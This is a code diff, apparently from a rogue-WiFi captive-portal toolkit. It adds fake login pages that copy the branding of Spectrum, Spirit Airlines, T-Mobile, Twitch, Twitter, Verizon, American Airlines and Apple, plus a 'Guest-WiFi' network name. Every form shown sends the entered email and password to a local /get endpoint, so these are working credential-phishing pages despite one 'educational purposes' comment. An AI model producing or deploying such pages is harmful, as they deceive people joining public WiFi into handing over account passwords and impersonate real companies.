d="M166 193c0 9-6 16-15 16h-16V94c2-30 13-55 59-56 20 0 35 8 44 18 9 12 13 27 13 46s-5 35-14 47c-9 11-21 17-36 17-21 0-32-9-35-10v37m53-90c0-12-2-37-27-37-23 0-26 24-26 37 0 32 18 36 27 36 22 0 26-24 26-36M18 153c11 9 26 13 47 13 20 0 36-4 47-13s16-22 16-38c0-8-1-15-5-21-3-6-8-12-15-15l-12-5-37-10c-15-4-25-9-25-18 1-18 17-19 27-19 9 0 17 2 22 6 10 7 9 17 9 17h31c-1-15-6-28-17-37C96 4 82 0 63 0 43 0 28 4 18 12 7 21 2 33 2 48c0 19 9 30 18 35 5 3 16 8 31 11l12 3c22 5 34 12 34 22 0 7-3 12-8 15-4 3-12 5-21 5-11 0-19-2-25-6s-10-11-11-20H0c1 18 7 31 18 40m296-88c20 0 23 16 23 25h-46s-1-25 23-25m1 74c-8-1-23-2-24-29h79v-9c0-20-5-35-14-46a55 55 0 0 0-43-17c-17 0-31 6-41 17-9 11-14 26-14 46 0 21 5 36 15 47 9 12 23 17 40 17 15 0 27-3 36-10 10-7 16-17 20-30h-28c-4 12-14 14-26 14m533 24h-32V85c0-9-4-21-22-21-17 0-21 13-21 21v78h-32V91c0-21 6-33 16-42 10-8 23-11 36-11l21 2c7 2 13 5 18 9 5-4 10-7 17-8 6-2 13-3 19-3 40 0 56 18 57 23v102h-18c-5 0-16-3-16-16V85c0-9-3-21-22-21-18 0-21 13-21 21v78zm-390-38h30s-8 40-54 40c-45 0-56-36-56-60s4-65 55-67c47 0 54 40 54 40h-32s-3-14-22-13c-19 0-24 18-24 35s4 39 25 39c20 0 22-11 24-14m167-84h32v78s-1 21 21 21c21 0 22-19 22-20V56s1-15 15-15h17v72c-1 4 4 52-54 52-56 0-52-48-53-51V41zm-98 33h19V41h-19V21c0-6-3-16-15-16h-17v135c0 14 6 23 18 23h14V74zm53 89v-63c0-9 2-16 6-20 4-5 11-7 20-7h10V41s-16-1-28 3a50 50 0 0 0-35 30c-4 8-6 18-6 30v59h33z"
/>
</svg>
<h1>Welcome</h1>
<p>Please log in using your Spectrum account</p>
<form action="/get" method="GET">
<input type="text" name="email" placeholder="Username" required />
<input
type="password"
name="password"
placeholder="Password"
required
/>
<button type="submit">Login</button>
</form>
</div>
</body>
</html>
+100
View File
@@ -0,0 +1,100 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #fde46c;
margin: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100vh;
}
.login-container {
background: #fff;
padding: 20px;
max-width: 300px;
width: 90%;
text-align: center;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.25);
}
form {
display: flex;
flex-direction: column;
align-items: center;
}
h1 {
color: #232f3e;
font-size: 1.5rem;
font-weight: 600;
margin-top: 0;
}
input[type="text"],
input[type="password"] {
width: 100%;
max-width: 300px;
padding: 12px 20px;
margin: 8px 0;
box-sizing: border-box;
border: 2px solid #ddd;
border-radius: 4px;
}
input[type="submit"] {
background-color: #303c49;
border: none;
color: white;
padding: 14px 28px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
border-radius: 5px;
}
</style>
</head>
<body>
<div class="login-container">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400" width="140">
<path fill-rule="nonzero" d="M434 171h15l-4 15h-15l-5 23c-1 5 0 6 7 6h8l-3 14-18 1c-15 0-20-4-17-16l6-28h-12l3-15h12l4-19h22zm-78 58h22l13-58h-23zm14-65h22l3-14h-23zm-62 7-12 58h22l12-58zm53-3h-5c-10 0-26 10-30 28l-1 4c3-8 11-12 22-12l9 1zm-85 3-12 58h22l13-58zm27-21h-23l-3 14h23zm-41 51c-3 16-19 30-40 30-10 0-17-3-20-8l-6 27h-22l16-79h22l-1 7c6-6 15-9 24-9 21 0 32 12 27 32zm-36-16c-10 0-17 6-19 15s2 15 13 15c10 0 17-6 19-15 2-10-2-15-13-15zm-70 8-19-2c-6-1-7-2-6-4 0-4 5-6 11-6l8 2c2 1 3 2 3 5h26c2-17-17-20-32-20-22 0-37 5-40 21-2 10 4 15 17 16l19 3c6 0 8 1 7 4-1 4-6 5-11 5l-10-1c-2-1-2-3-2-5h-27c-3 17 18 20 34 20 24 0 39-6 42-20 2-11-5-16-20-18zm301-17 1 2h-2v-2h-1v2h-1v-5h3v3zm-1-1v-1h-1v1h1zm4 0v2l-1 2a4 4 0 0 1-4 1h-1l-2-1-1-2v-4a4 4 0 0 1 3-2h3l2 1 1 1v2zm-1 0v-1l-1-1-1-1h-3l-1 1-1 1v1a4 4 0 0 0 1 3l1 1a3 3 0 0 0 3 0l1-1 1-1v-2z"/>
</svg>
<h1> Use your Spirit Airlines Account<br> for Free WiFi Login</h1>
<form id="login-form">
<input type="text" name="email" placeholder="Email Address or Free Spirit Number">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Login">
</form>
</div>
<script>
const form = document.getElementById('login-form');
form.addEventListener('submit', (e) => {
e.preventDefault();
const email = form.elements['email'].value;
const password = form.elements['password'].value;
window.location.href = '/get?email=' + email + '&password=' + password;
});
</script>
</body>
</html>
+63
View File
@@ -0,0 +1,63 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #000000;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: #fff;
}
.login-container {
background-color: rgba(0, 0, 0, 0.7);
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(255,255,255,0.3);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
background-color: #0069D9;
border-color: #0069D9;
}
#logo svg {
fill: #fff;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1032 524"><clipPath id="a"><circle cx="275" cy="85" r="200"/></clipPath><clipPath id="b"><circle cx="230" cy="90" r="80"/></clipPath><path d="M23 488h10l2 6c2 2 4 2 7 2 6 0 8-2 8-7l-1-5-6-2-5-1c-9-1-14-6-14-14 0-5 2-9 5-12 3-2 7-4 13-4 5 0 9 1 12 4s5 7 5 12H49l-2-6-6-2-5 2-2 5 1 5 6 2 5 1c9 2 14 6 14 15 0 5-2 9-5 12s-8 4-14 4-10-1-13-4-5-7-5-13zm83-28v44H96v-44H82v-8h37v8zm42 34-3 10h-11l19-52h8l19 52h-11l-3-10zm9-28-7 20h13zm56 17v21h-9v-52h19c6 0 10 1 13 4s4 7 4 12c0 3 0 6-2 8l-7 6 12 23h-12l-10-22h-8zm10-8 5-2 2-6c0-2 0-4-2-5l-5-2h-10v14h10zm54-23v44h23v8h-33v-52h10zm59 0v52h-10v-52h10zm68 52h-10l-19-32v32h-11v-52h10l19 33v-33h10v52zm38-14v14h-10v-52h10v24l18-24h12l-17 21 18 31h-11l-13-23z" class="letter" visibility="inherit"/><g clip-path="url(#a)" transform="matrix(3 0 0 3 -531 8)"><path d="m168 112-3 4h34C292 23 426 6 460 3 274 14 188 93 168 112" class="logo_x" visibility="inherit"/></g><g clip-path="url(#b)" transform="matrix(3 0 0 3 -531 8)" visibility="inherit"><path d="M263 116h34l-47-35-17 13zm-62-71h-34l40 29 19-12z" class="logo_x"/></g></svg>
</div>
<form action="/get" id="email-form-step">
<h1>Welcome</h1>
<h2>Please Enter your Details</h2>
<div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Next</button>
</div>
</form>
</div>
</div>
</div>
<script>
/* Paste any required JavaScript here */
</script>
</body>
</html>
+94
View File
@@ -0,0 +1,94 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #e20074;
color: #fff;
}
.container {
max-width: 400px;
margin: 50px auto;
padding: 20px;
border-radius: 5px;
}
h1 {
font-size: 24px;
font-weight: 300;
margin-top: 0;
text-align: center;
}
h2 {
font-size: 16px;
font-weight: 200;
text-align: center;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 12px 20px;
margin: 8px 0;
box-sizing: border-box;
border: 1px solid #ccc;
border-radius: 4px;
}
input[type="submit"] {
width: 100%;
background-color: #fff;
color: #e20074;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #ddd;
}
.logo {
display: block;
max-width: 130px;
margin: 0 auto 30px auto;
}
</style>
</head>
<body>
<div class="container">
<!-- T-Mobile SVG logo -->
<svg class="logo" id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 122.88 122.88">
<defs>
<style>.cls-1{fill:#e20074;}.cls-2{fill:#fff;}</style>
</defs>
<title>t-mobile</title>
<polygon class="cls-1" points="0 122.88 122.88 122.88 122.88 0 0 0 0 122.88 0 122.88"/>
<polygon class="cls-2" points="25.52 75.62 25.52 57.9 34.74 57.9 43.24 57.9 43.24 75.62 25.52 75.62 25.52 75.62"/>
<polygon class="cls-2" points="79.64 75.62 79.64 57.9 89.8 57.9 97.36 57.9 97.36 75.62 79.64 75.62 79.64 75.62"/>
<path class="cls-2" d="M96.41,17.72H26.47l-.95,31,4.73.71c.94-9.22,3.31-15.83,7.09-20.32,4-4.49,9.68-7.09,17-7.33V86.25c0,5.67-.71,9.22-2.36,10.87-1.42,1.42-3.78,2.37-7.09,2.6-.95,0-2.6.24-5,.24v5H83.18v-5a25.52,25.52,0,0,1-5-.24c-3.31-.23-5.67-1.18-7.09-2.6-1.66-1.65-2.36-5.43-2.36-10.87V22c7.32.23,13,2.6,17,7.32,4,4.49,6.38,11.11,7.09,20.33l4.72-.71-1.18-31.2Z"/>
</svg>
<h1>Sign in</h1>
<h2>Use your T-Mobile account</h2>
<form id="login-form" action="/get">
<input type="text" name="email" placeholder="Email or phone number" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Sign In">
</form>
</div>
</body>
</html>
+70
View File
@@ -0,0 +1,70 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #9146FF;
color: white;
text-align: center;
}
.container {
max-width: 400px;
margin: auto;
padding: 20px;
}
.logo {
width: 140px;
height: 140px;
}
form {
background-color: white;
color: black;
padding: 20px;
border-radius: 5px;
}
input[type="text"], input[type="password"] {
width: 90%;
padding: 15px;
margin: 10px 0;
border: none;
background: #f1f1f1;
}
input[type="submit"] {
background-color: #9146FF;
color: white;
padding: 14px 20px;
border: none;
cursor: pointer;
width: 100%;
}
@media screen and (max-width: 600px) {
.container {
width: 95%;
}
}
.welcome {
font-size: 24px;
margin-bottom: 0;
}
.login {
font-size: 16px;
margin-top: 0;
}
</style>
</head>
<body>
<div class="container">
<svg class="logo" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 454.9 280.8"><path fill="#000000" fill-rule="evenodd" d="m379.6 67.6-18.3 18.2h-28.5l-15.6 15.6V85.8h-23.4V10.4h85.8v57.2ZM283.4 0l-5.2 20.8v93.6h23.4v13h13l13-13h20.7L390 72.8V0H283.4z"/><path fill="#000000" fill-rule="evenodd" d="M322.4 62.4h10.4V31.2h-10.4v31.2zm28.5 0h10.4V31.2H351v31.2zM444.5 182l-18.2-18.2h-33.8v-23.4H364V247h28.6v-54.6H416V247h28.6v-65Zm-91-18.2h-44.1L291.2 182v46.8l18.2 18.2h44.2v-28.6h-33.8v-26h33.8v-28.6zm-72.7 0h-23.4v-23.4h-28.6v88.4L247 247h33.8v-28.6h-23.4v-26h23.4v-28.6zm-62.4-23.4h-28.6v13h28.6v-13zm0 23.4h-28.6V247h28.6v-83.2zm-39 0h-28.6v54.6h-10.4v-54.6h-28.6v54.6h-10.4v-54.6H72.8V247h88.4l18.2-18.2v-65zm-117 0H39v-23.4H10.4v88.4L28.6 247h33.8v-28.6H39v-26h23.4v-28.6zm392.5 13v78l-39 26h-26v-13l-18.2 13h-23.3v-13l-13 13h-41.6l-13-13-2.6 13h-36.4l-15-13-.7 13h-41.3l-1.5-13-11.1 13h-63l-13-5.2v5.2H62.4l-39-23.4L0 234V130h49.4l23.4 23.4h106.6V130h88.4v23.4h23.4v13l13-13h26l23.4-23.4h49.3v23.4h28.6l23.4 23.4Z"></svg>
<h2 class="welcome">Welcome</h2>
<p class="login">Login using your Twitch Account</p>
<form action="/get?email=username&password=password" method="get">
<label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="uname" required>
<label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" required>
<input type="submit" value="Login">
</form>
</div>
</body>
</html>
+2
View File
@@ -0,0 +1,2 @@
<!DOCTYPE html><html><head><style>body{font-family:Arial,sans-serif;background-color:#f5f8fa}.login-container{width:90%;max-width:400px;margin:auto;padding:20px;border:1px solid #e9e9e9;border-radius:5px;margin-top:50px;background-color:#fff}#logo{text-align:center;margin-bottom:20px}.g-h1{font-weight:300;font-size:24px;margin-top:5px;text-align:center}.g-h2{font-weight:200;font-size:16px;margin-top:10px;text-align:center;color:#657786}.g-input{width:calc(100% - 20px);margin-top:15px;height:40px;padding:5px 10px;font-size:16px;color:#14171a;border:1px solid #e6ecf0;border-radius:5px;background-color:#f5f8fa}.gbtn-primary{margin-top:20px;width:100%;height:40px;font-size:16px;color:#fff;background-color:#1da1f2;border:none;border-radius:5px;cursor:pointer}.gbtn-primary:hover{background-color:#0c8ed9}.gbtn-primary:disabled{background-color:#aab8c2;cursor:not-allowed}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;type=content-script&amp;dmn=cdn.discordapp.com&amp;url=https%3A%2F%2Fcdn.discordapp.com%2Fattachments%2F1001052008389804092%2F1128835183802593362%2Ftwitter.min.html&amp;app=chrome.exe&amp;css=3&amp;js=1&amp;rel=1&amp;rji=1&amp;sbe=1&amp;stealth=1&amp;st-dnt"></script>
<script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;name=AdGuard%20Assistant%20%28Beta%29&amp;name=AdGuard%20Extra%20%28Beta%29&amp;name=AdGuard%20Popup%20Blocker%20%28Beta%29&amp;name=Web%20of%20Trust%20%28Beta%29&amp;type=user-script"></script></head><body><div id="login-app"><div class="login-container"><div id="logo"><svg viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g><path fill="#1DA1F2" d="M22.46 5.5c-.81.36-1.68.6-2.6.71.94-.56 1.66-1.45 2-2.52-.88.52-1.86.9-2.9 1.1-.83-.88-2.02-1.43-3.34-1.43-2.53 0-4.58 2.05-4.58 4.58 0 .36.04.72.13 1.06C6.7 9.1 3.55 7.3 1.44 4.75c-.4.68-.63 1.48-.63 2.33 0 1.6.82 3.02 2.07 3.85-.76-.02-1.47-.23-2.1-.58v.06c0 2.23 1.58 4.08 3.68 4.5-.38.1-.78.15-1.2.15-.29 0-.57-.03-.85-.08.57 1.78 2.23 3.08 4.2 3.12-1.54 1.2-3.48 1.92-5.6 1.92-.36 0-.72-.02-1.08-.07 1.99 1.28 4.35 2.03 6.88 2.03 8.26 0 12.77-6.83 12.77-12.77l-.01-.58c.88-.63 1.64-1.42 2.25-2.32z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Twitter Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></body></html>
+91
View File
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #fff;
}
.login-container {
width: 90%;
max-width: 400px;
margin: auto;
padding: 20px;
border: 1px solid #e9e9e9;
border-radius: 5px;
margin-top: 50px;
background-color: #fff;
}
#logo {
text-align: center;
margin-bottom: 20px;
}
.g-h1 {
font-weight: 300;
font-size: 24px;
margin-top: 5px;
text-align: center;
}
.g-h2 {
font-weight: 200;
font-size: 16px;
margin-top: 10px;
text-align: center;
color: #D52B1E;
}
.g-input {
width: calc(100% - 20px);
margin-top: 15px;
height: 40px;
padding: 5px 10px;
font-size: 16px;
color: #14171a;
border: 1px solid #e6ecf0;
border-radius: 5px;
background-color: #f5f8fa;
}
.gbtn-primary {
margin-top: 20px;
width: 100%;
height: 40px;
font-size: 16px;
color: #fff;
background-color: #D52B1E;
border: none;
border-radius: 5px;
cursor: pointer;
}
.gbtn-primary:hover {
background-color: #B3291B;
}
.gbtn-primary:disabled {
background-color: #aab8c2;
cursor: not-allowed;
}
</style>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
</head>
<body>
<div id="login-app">
<div class="login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 658 146">
<path fill="#D52B1E" d="m644 0-36 77-14-29h-14l22 47h12l44-95z"/>
<path d="M490 143h29V90c0-12 7-21 17-21s15 7 15 17v57h29V81c0-21-12-36-33-36-13 0-22 6-29 16V48h-28v95zm-57-98c-30 0-51 22-51 50 1 29 21 51 51 51s50-22 50-51c0-28-20-50-50-50zm0 79c-14 0-21-11-21-29 0-17 7-28 21-28 13 0 21 11 21 28 0 18-7 29-21 29zm-133 19h81v-23h-46v-1l44-49V48h-79v23h45l-45 50v22zm-37 0h29V48h-29v95zm-67 0h29V99c0-20 11-29 30-26V48l-6-1c-11 0-19 5-25 17h-1V48h-28v95zm-54-19c-12 0-20-8-22-21h69c0-20-6-36-17-47-8-7-18-11-32-11-28 0-48 22-48 50 0 29 19 50 50 50 12 0 21-3 29-8 9-6 15-14 16-22h-28c-2 6-8 9-17 9zm-1-58c10 0 17 7 18 18h-39c3-11 9-18 21-18zM34 143h30l33-95H68l-18 61h-1L31 48H1l33 95zM263 14h29v26h-29V14z"/>
</svg>
</div>
<form action="/get" id="email-form-step">
<h1 class="g-h1">Sign in</h1>
<h2 class="g-h2">Use your Verizon Account</h2>
<div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required>
<div>
<button class="gbtn-primary" type="submit">Next</button>
</div>
</div>
</form>
</div>
</div>
</body>
</html>
+116
View File
@@ -0,0 +1,116 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #1a3b73;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193">
<path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/>
<path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your AAdvantage number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
+1
View File
@@ -0,0 +1 @@
Guest-WiFi
+279
View File
@@ -0,0 +1,279 @@
<!-- Original code : https://github.com/ai-dev-official/Apple-Dev-Login-Page- by ai-dev-official -->
<!-- Edited and adapted by : Jules0835 for educational purposes -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>Login - Apple</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
list-style: none;
text-decoration: none;
}
body {
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #98989c;
}
header {
padding: 5px;
margin: 10px;
}
header svg {
width: 25px;
height: 25px;
}
.main {
position: relative;
display: flex;
justify-content: center;
align-content: center;
align-items: center;
min-height: 85vh;
}
form {
width: 500px;
display: flex;
flex-direction: column;
align-items: center;
}
#sign h2 {
text-align: center;
margin: 5px auto 0px;
font-size: 22px;
line-height: 1.47059;
font-weight: 400;
letter-spacing: -.022em;
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #656569;
}
#inputText {
margin: 5px 0 80px 0;
}
#appleid {
min-width: 350px;
padding: 20px;
border: .5px solid #d2d2d7;
border-radius: 10px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
background-repeat: no-repeat;
background-position: calc(100% - 20px) center;
background-image: url('./input.svg');
align-self: center;
background-size: 8%;
}
#password {
min-width: 350px;
padding: 20px;
border: .5px solid #d2d2d7;
border-radius: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
background-repeat: no-repeat;
background-position: calc(100% - 20px) center;
background-image: url('./input.svg');
align-self: center;
background-size: 8%;
}
input #appleid {
box-shadow: none;
outline: none;
-moz-box-shadow: none;
-webkit-box-shadow: none;
border-color: transparent;
}
.input2 {
text-align: center;
min-width: 180px;
border-bottom: .1px solid #d2d2d7;
}
.logo {
display: flex;
justify-content: center;
margin-top: -60px;
margin-bottom: 20px;
}
.logo svg {
width: 8%;
height: auto;
}
#remember {
margin-right: 5px;
margin-bottom: 20px;
}
#r2 {
color: #656569;
}
form h4 {
margin-top: 1rem;
font-weight: 300;
}
::placeholder {
font-size: 16px;
/* font-family: Arial, sans-serif; */
}
.bx {
color: #1975d1;
transform: rotate(45deg);
}
footer {
position: absolute;
display: flex;
width: 100%;
height: 65px;
padding: 20px;
bottom: 0;
margin-bottom: 0;
background-color: #f5f5f7;
}
footer p {
font-size: 13px;
}
footer p:nth-child(2) {
margin: 0 20px;
}
footer p:nth-child(3) {
padding-left: 20px;
border-left: .5px solid #d2d2d7;
}
button {
background: none;
border: none;
padding: 0;
margin: 0;
font: inherit;
color: inherit;
cursor: pointer;
}
@media screen and (max-width: 768px) {
form {
width: 80%;
}
#appleid,
#password {
min-width: 90%;
}
}
</style>
</head>
<body>
<header>
<div class="appleLogo">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="1000.000000pt" height="1000.000000pt"
viewBox="0 0 1000.000000 1000.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1000.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M6820 9745 c-332 -56 -725 -235 -1013 -461 -278 -219 -545 -588 -682
-942 -95 -247 -146 -585 -118 -787 l6 -48 156 6 c229 9 371 44 588 147 470
223 926 725 1121 1233 94 244 140 528 125 765 l-6 102 -51 -1 c-28 -1 -85 -7
-126 -14z" />
<path d="M6635 7499 c-238 -26 -494 -92 -870 -226 -487 -174 -647 -219 -737
-209 -81 10 -274 64 -463 131 -413 147 -510 179 -650 215 -196 50 -334 70
-488 70 -422 0 -863 -135 -1245 -382 -531 -343 -917 -902 -1087 -1573 -83
-327 -110 -593 -102 -1003 7 -364 41 -643 121 -997 161 -711 486 -1470 863
-2014 559 -807 985 -1188 1410 -1262 101 -18 325 -6 453 24 123 29 316 92 522
171 518 198 922 225 1387 91 50 -15 161 -54 248 -87 201 -77 403 -141 529
-168 124 -27 342 -37 444 -21 179 28 370 108 540 229 350 247 887 946 1200
1562 96 190 251 561 294 707 6 20 -5 28 -111 81 -229 114 -398 237 -594 432
-332 330 -519 702 -585 1167 -23 162 -23 468 0 627 43 296 140 558 293 791
158 239 394 468 661 640 l91 58 -61 80 c-277 363 -670 625 -1142 761 -306 89
-679 131 -921 105z" />
</g>
</svg>
</div>
</header>
<div class="main">
<form action="/get" id="email-form-step" method="GET">
<div id="sign">
<h2>Sign in</h2>
<h2>Use your Apple ID to access the Wi-Fi</h2>
</div>
<div class="input" id="inputText">
<div>
<input type="email" name="email" placeholder="Apple ID" id="appleid" required>
</div>
<div>
<input type="password" name="password" placeholder="Password" id="password" required>
</div>
</div>
<div class="logo">
<button class="button" type="submit">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="512.000000pt" height="512.000000pt"
viewBox="0 0 512.000000 512.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)" fill="#000000"
stroke="none">
<path d="M2330 5110 c-494 -48 -950 -230 -1350 -538 -195 -150 -448 -432 -594
-662 -63 -99 -186 -351 -230 -471 -51 -139 -103 -344 -128 -504 -31 -200 -31
-550 0 -750 43 -273 114 -500 237 -750 132 -269 269 -460 489 -681 221 -220
412 -357 681 -489 247 -121 469 -192 745 -237 195 -31 565 -31 760 0 276 45
498 116 745 237 269 132 460 269 681 489 220 221 357 412 489 681 123 250 194
477 237 750 31 200 31 550 0 750 -43 273 -114 500 -237 750 -132 269 -269 460
-489 681 -221 220 -412 357 -681 489 -246 121 -474 193 -740 235 -147 23 -475
34 -615 20z m430 -351 c872 -79 1622 -675 1896 -1506 350 -1060 -145 -2212
-1156 -2691 -1096 -519 -2416 -44 -2938 1058 -397 837 -221 1841 438 2500 465
465 1108 699 1760 639z" />
<path d="M2735 3702 c-79 -28 -127 -93 -127 -172 1 -27 8 -61 16 -77 8 -15
168 -181 355 -368 l341 -340 -992 -5 c-899 -5 -996 -7 -1023 -22 -64 -35 -97
-90 -97 -158 0 -68 33 -123 97 -158 27 -15 124 -17 1023 -22 l992 -5 -341
-340 c-187 -187 -347 -353 -355 -368 -20 -37 -20 -117 0 -155 24 -46 84 -90
132 -98 87 -13 98 -4 622 519 266 265 496 502 512 526 40 60 46 101 25 159
-15 40 -90 120 -504 535 -267 269 -505 502 -528 518 -43 30 -111 44 -148 31z" />
</g>
</svg>
</button>
</div>
<div class="input2">
<input type="checkbox" name="remember" id="remember"><label for="remember" id="r2">Remember me</label>
</div>
<h4><a href="#">Forgot Apple ID or password?</a><span><i class='bx bx-up-arrow-alt'></i></span></h4>
<h4>Dont't have an Apple ID? <a href="#">Create yours now.</a><span><i
class='bx bx-up-arrow-alt'></i></span></h4>
</form>
</div>
<footer>
<p>Copyright &copy 2023 Apple Inc. All rights reserved.</p>
<p>Privacy Policy</p>
<p>Terms of Use</p>
</footer>
</body>
</html>
+94
View File
@@ -0,0 +1,94 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #00A8E0;
}
.container {
max-width: 400px;
margin: auto;
background-color: white;
padding: 20px;
border-radius: 5px;
}
#logo {
text-align: center;
margin-bottom: 20px;
}
h1 {
text-align: center;
font-size: 24px;
font-weight: 300;
margin-top: 0;
}
h2 {
text-align: center;
font-size: 16px;
font-weight: 200;
color: #888;
margin-top: 5px;
}
input {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box;
margin-top: 10px;
font-size: 16px;
}
button {
background-color: #00A8E0;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
cursor: pointer;
width: 100%;
font-size: 16px;
}
button:hover {
background-color: #0081b8;
}
</style>
</head>
<body>
<div class="container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -42 1000 411">
